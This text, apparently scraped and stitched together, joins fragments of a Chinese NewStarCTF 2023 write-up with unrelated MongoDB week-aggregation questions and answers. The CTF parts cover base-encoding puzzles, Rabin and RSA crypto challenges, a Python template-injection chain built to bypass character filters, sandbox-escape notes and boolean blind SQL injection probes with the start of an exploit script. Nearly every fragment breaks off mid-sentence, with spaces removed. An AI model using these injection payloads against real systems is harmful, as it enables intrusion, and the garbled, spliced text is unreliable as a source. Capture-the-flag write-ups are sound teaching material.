官方WPhttps://shimo.im/docs/XKq421EBKzFyRzAN/readNewStarCTF2023Week1官方WriteUp.htmlMiscCyberChef’sSecret下载附件后,是一个压缩包,解压后获得flag.txt打开txt发现是base加密来签到吧!下面这个就是flag,不过它看起来好像怪怪的:-)M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=CyberChef赛博厨子使用Magic一把梭了base32——>base58——>base64,
查看附件可以看到,这次过滤挺多重要的字符,比如\,'等字符,还过滤的字母i和b,这道题可通过python模板注入:(ssti注入)#下面是渐变过程().__class__.__base__.__subclasses__()getattr(().__class__,'__base__').__subclasses__()getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()getattr(getattr(().__class__,chr(95)
这是一道python沙盒逃逸的题目:沙箱逃逸:就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程,其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程,这里不理解没关系,多做两道题就知道了,老实说国内的沙箱逃逸的题不是很多,而且大多都是面向新手的?对我来说正好就是了,然后的话,如果像深入了解的话还是建议去做做国外的沙箱逃逸,国外出得比较多这里先补充一些关于沙箱逃逸的知识点花式import首先,禁用 importos 肯定是不行的,因为importosimportosimportos...都可以。如果多个空格也过滤了,Python能够import的可不止 i
我需要获取MongoDB中所有记录的周范围列表。当我点击一个周范围时,它将只显示该周范围的记录。单击周范围会发送周ID(比方说42,即2015年的第42周),应该会得到这些结果。问题:如何查询给定周数和年份的一组记录?这应该有效,对吧?架构:varorderSchema=mongoose.Schema({date:Date,//ISOdaterequest:{headers:{...首先:获取所有对象的所有周ID:varquery=Order.aggregate([{$project:{week:{$week:'$date'}}},{$group:{_id:null,distinctD
MongoDBmanual$week聚合和%U运算符在strftime中的工作方式如下:Returnstheweekoftheyearforadateasanumberbetween0and53.WeeksbeginonSundays,andweek1beginswiththefirstSundayoftheyear.DaysprecedingthefirstSundayoftheyearareinweek0.Thisbehavioristhesameasthe“%U”operatortothestrftimestandardlibraryfunction.这是否符合ISO8601we
我的收藏看起来像下面的细节/*1createdAt:6/13/2018,5:17:07PM*/{"_id":ObjectId("5b21043b18f3bc7c0be3414c"),"Number":242,"State":"2","City":"3","Website":"","Contact_Person_Name":"Ajithmullassery","CreatedById":"Admin","UpdatedById":"Admin","IsActive":true,"UpdatedOn":ISODate("2018-06-13T17:17:07.313+05:30"),"Cr
一、Rabin'sRSA题目信息fromCrypto.Util.numberimport*fromsecretimportflagp=getPrime(64)q=getPrime(64)assertp%4==3assertq%4==3n=p*qe=2m=bytes_to_long(flag)c=pow(m,e,n)print('n=',n)print('c=',c)#n=201354090531918389422241515534761536573#c=20442989381348880630046435751193745753典型的Rabin加密算法脚本importgmpy2importli
RSAVariationII1、题目信息提示:"SchmidtSamoa"附件信息fromsecretimportflagfromCrypto.Util.numberimport*p=getPrime(1024)q=getPrime(1024)N=p*p*qd=inverse(N,(p-1)*(q-1)//GCD(p-1,q-1))m=bytes_to_long(flag)c=pow(m,N,N)print('c=',c)print('N=',N)print('d=',d)#c=1653396627113549535760516503668455111392369905404419847336
Mongodb的$weekoperator州Takesadateandreturnstheweekoftheyearasanumberbetween0and53.WeeksbeginonSundays,andweek1beginswiththefirstSundayoftheyear.DaysprecedingthefirstSundayoftheyearareinweek0.Thisbehavioristhesameasthe“%U”operatortothestrftimestandardlibraryfunction.然而,Java日历的DAY_OF_WEEK返回略有不同(美国区
WEEK3|WEB(5/6)medium_sqlSqlmap一把梭(部分能直接flag'部分出现flag不完整或者部分爆不到表等官方wp)在week1的基础上,多过滤了union。验证存在布尔盲注:?id=TMP0919'Andif(1>0,1,0)#?id=TMP0919'Andif(0>1,1,0)#发第一个,有回显,第二个,没回显,说明页面可以根据if判断的结果回显两种(真假)内容,因此是布尔盲注。盲注脚本,用二分查找。(不会二分查找也没事,可以尝试自己写,反正初学别用sqlmap)importrequestsdefcondition(res):if'Physics'inres.text